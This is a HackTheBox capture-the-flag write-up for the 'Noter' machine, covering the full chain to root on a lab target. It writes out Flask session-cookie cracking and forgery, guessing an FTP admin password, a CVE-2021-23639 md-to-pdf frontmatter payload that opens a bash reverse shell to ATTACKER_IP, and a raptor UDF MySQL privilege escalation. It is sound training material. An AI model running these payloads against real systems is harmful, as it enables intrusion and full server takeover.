HTB: Noter Writeup

Noter - HackTheBox Writeup

Machine Information

AttributeDetails
NameNoter
OSLinux
DifficultyMedium
PointsN/A
Release DateN/A
IP Address10.10.11.X
Authord3vn0mi

Machine Rating

⭐⭐⭐☆☆ (3/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐☆
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Noter is a Flask-based note-taking application backed by MySQL. The signing secret for its session cookies is a weak, wordlist-crackable value, which allows forging a session for another user without ever knowing their password. That hijacked session leaks FTP credentials, which in turn expose an application backup containing hardcoded MySQL root credentials and reveal a vulnerable Node dependency (md-to-pdf 4.1.0) used for PDF export. That dependency is vulnerable to CVE-2021-23639, a JS-injection RCE via markdown frontmatter, which gives a shell as svc. Because mysqld runs as root and the MySQL root credentials were already recovered from the backup, a classic raptor UDF (do_system) privilege escalation completes the chain to full root.

TL;DR: nmap recon (FTP/SSH/Flask on 5000) → flask-unsign cracks session secret (secret123) → forge session cookie for user blue → hijacked VIP dashboard leaks FTP creds → FTP as blue → note reveals default password format → guess ftp_admin creds → backup zip leaks MySQL root creds + reveals vulnerable md-to-pdf 4.1.0 → CVE-2021-23639 RCE via malicious rce.md frontmatter → reverse shell as svc → user flag → mysqld running as root + recovered MySQL creds → raptor UDF (do_system) privesc → root flag.


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep followed by service/version detection
nmap -sC -sV -T4 -p- TARGET_IP

Results:

PortServiceDetails
21/tcpFTPrevisited later once credentials were recovered
22/tcpSSHnot used for initial access
5000/tcpHTTPWerkzeug/Flask dev server hosting the “Noter” note-taking app

Service Enumeration

Port 5000 — Noter (Flask app). The application issues a signed Flask session cookie (session=...) to every client, whether authenticated or not. Flask’s session cookies are signed, not encrypted — the payload ({'logged_in': ..., 'username': ...}) can be read by anyone, but a valid signature requires the app’s SECRET_KEY. If that key is weak or guessable, an attacker can forge arbitrary session contents.

Terminal window
# Capture a session cookie from the app, then attempt to recover the secret key
# using flask-unsign's bundled common-secrets wordlist
flask-unsign --unsign --cookie '<captured session cookie value>'

This recovered the signing secret: secret123.

Port 21 — FTP. Not accessible with any credentials at this stage; came back into play only after the session hijack below leaked valid FTP creds.

Vulnerability Assessment

  1. Flask session cookies signed with a weak, dictionary-crackable SECRET_KEY → arbitrary session/user forgery.
  2. FTP credentials reused between accounts following a predictable default password format.
  3. MySQL root credentials hardcoded in an application source backup reachable via FTP.
  4. md-to-pdf 4.1.0 used server-side for note export — vulnerable to CVE-2021-23639 (RCE via JS frontmatter injection).
  5. mysqld running as root → classic MySQL UDF privilege escalation path.

Initial Foothold

With the secret key (secret123) known, a valid session cookie can be forged for any username without needing that user’s password — flask-unsign handles both cracking (--unsign) and forging (--sign):

Terminal window
# Forge a session identifying as the app user 'blue' (identified during enumeration
# of the app's note content), marking the session as already logged in
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123

The gotcha: the jump box used to craft this cookie had a clock running ~7 hours ahead of the target. Flask’s session serializer (itsdangerous) embeds an issue timestamp in the signed payload; when the target validated the forged cookie, the computed age came out negative (the token appeared to be issued in the future relative to the target’s own clock). itsdangerous 2.x treats this as invalid and silently rejects it — the app just 302-redirects back to login with no error, which makes it look like the secret key or payload is wrong when the actual problem is clock skew.

Fix: sign the cookie with the jump box’s clock rolled back behind the target’s UTC time using faketime:

Terminal window
# Roll the local clock back ~7h so the embedded itsdangerous timestamp
# is not ahead of the target's clock, then sign the cookie under that fake time
faketime '-7 hours' flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret secret123

Replacing the browser’s session cookie with this value and reloading /dashboard returned HTTP 200 as user blue — a hijacked, VIP-tier session with no password ever known.

Pivoting through FTP to an application backup

blue’s VIP notes contained FTP credentials for the account. Logging into FTP as blue surfaced a note written by ftp_admin referencing the site’s default password generation format (username@site_name!). Since blue’s own password fit that pattern, the same format was tried against ftp_admin:

Terminal window
# ftp_admin's password had never been rotated off the site's default format
ftp ftp_admin@TARGET_IP
# password: ftp_admin@Noter!

The ftp_admin FTP account held application backup zips. Extracting them surfaced app.py, which hardcoded MySQL credentials:

app.config['MYSQL_USER'] = 'root'
app.config['MYSQL_PASSWORD'] = 'Nildogg36'

The same backup’s misc/package-lock.json pinned md-to-pdf at version 4.1.0 — vulnerable to CVE-2021-23639, a remote code execution issue where markdown frontmatter delimited by ---js ... --- is evaluated as raw JavaScript by the renderer, including require('child_process').

RCE via CVE-2021-23639 (md-to-pdf 4.1.0)

The app’s /export_note_remote endpoint fetches an attacker-hosted .md file and pipes it through md-to-pdf for export. Because the vulnerable version evaluates ---js frontmatter blocks as JavaScript, a hosted markdown file can execute arbitrary shell commands on the server:

Terminal window
# Host a malicious markdown file whose ---js frontmatter shells out via
# child_process.execSync — encode the reverse shell as base64 to dodge
# quoting issues in the injected JS string
CMD='bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
B64=$(echo -n "$CMD" | base64 -w0)
cat > rce.md <<EOF
---js
((require("child_process")).execSync("echo $B64 | base64 -d | bash"))
---RCE
EOF
# Serve it locally so the target's export feature can fetch it
python3 -m http.server 8000

Submitting http://ATTACKER_IP:8000/rce.md to the app’s “Export directly from cloud” field triggered the fetch, md-to-pdf evaluated the frontmatter, and a reverse shell landed as user svc.

Terminal window
# Stabilize the shell
python3 -c "import pty; pty.spawn('/bin/bash')"
cat /home/svc/user.txt
# <redacted>

Privilege Escalation

Checking running processes revealed mysqld running as root:

Terminal window
ps aux | grep mysqld
# root ... /usr/sbin/mariadbd ...

Combined with the MySQL root/Nildogg36 credentials already recovered from the app.py backup, this is the classic raptor UDF (User-Defined Function) privilege escalation: MySQL can be made to load an attacker-supplied shared object as a UDF, and any function it exports runs with the privileges of the MySQL server process — here, root.

Terminal window
# Compile the raptor UDF shared object on-target (svc has gcc available)
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
-- Authenticate to MySQL using the credentials recovered from app.py
-- mysql -u root -p'Nildogg36' mysql
-- Stage the compiled .so inside the DB as a blob, then dump it straight
-- into MySQL's plugin directory (mariadb19/plugin) using dumpfile
CREATE TABLE foo(line blob);
INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
-- Register the exported symbol as a callable SQL function
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
-- do_system() now executes shell commands as the mysqld process owner: root
SELECT do_system('id > /tmp/root_id; chmod 777 /tmp/root_id');

do_system() executed with uid=0(root), confirming full privilege escalation via the MySQL daemon.

Terminal window
cat /root/root.txt
# <redacted>

Attack Chain Summary

Nmap recon (FTP/SSH/Flask:5000)
→ flask-unsign cracks session SECRET_KEY (secret123)
→ forge session cookie for user 'blue' (faketime fixes 7h clock-skew rejection)
→ hijacked VIP dashboard leaks FTP creds
→ FTP as blue → note reveals default password format (user@site!)
→ guessed ftp_admin creds → backup zip → MySQL root creds + md-to-pdf 4.1.0 version disclosure
→ CVE-2021-23639 RCE via malicious rce.md frontmatter (/export_note_remote)
→ reverse shell as svc → USER FLAG
→ mysqld running as root + recovered MySQL creds
→ raptor UDF (do_system) privesc
→ ROOT FLAG

Tools Used

ToolPurpose
nmapPort scanning and service/version detection
flask-unsignCracking the Flask session SECRET_KEY and forging session cookies
faketimeBackdating the local clock to defeat itsdangerous timestamp rejection
ftpRetrieving harvested credentials and application backup zips
python3 -m http.serverHosting the malicious rce.md payload for the export-from-cloud feature
gccCompiling the raptor UDF shared object on-target
mysql clientLoading the UDF and invoking do_system() as root
ncCatching reverse shells

Key Learnings

Techniques Practiced

  • Flask session cookie forgery via a cracked SECRET_KEY (flask-unsign)
  • Working around signed-token clock-skew rejection with faketime
  • Credential harvesting through a hijacked session and default-password-format deduction
  • Exploiting CVE-2021-23639 in md-to-pdf 4.1.0 (JS injection via markdown frontmatter)
  • MySQL raptor UDF (do_system) privilege escalation when mysqld runs as root

Lessons Learned

  1. Flask’s session cookie is signed, not encrypted — its contents are always readable, and if the SECRET_KEY is weak, the entire authentication model collapses to “guess the secret.”
  2. Signed tokens with embedded timestamps (itsdangerous, JWTs, etc.) are sensitive to clock skew between the forging host and the validating host — a forged token can be perfectly correct and still get silently rejected if the attacker’s clock is ahead. Always check attacker/target clock drift before spending time re-guessing a secret or payload.
  3. Default password formats (username@site_name!) are only as strong as their inconsistent rotation — one leaked example (blue’s password) is enough to derive every other unrotated account.
  4. Backup archives are a durable source of hardcoded secrets; always pull the version-locked dependency manifest (package-lock.json) out of them too — it disclosed the exact md-to-pdf version that keyed the RCE.
  5. mysqld running as root turns any recovered MySQL credential into a root primitive via UDFs — this should be treated as equivalent to a root credential leak.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox Official Writeup — Noter — dotguy, Document No. D22.100.197, machine authored by kavigihan. Used only as explanatory reference for the session-cookie-signing mechanics, the CVE-2021-23639 md-to-pdf PoC structure, and the raptor UDF privilege-escalation technique; all IPs, credentials, and command output in this writeup are from the author’s own solve.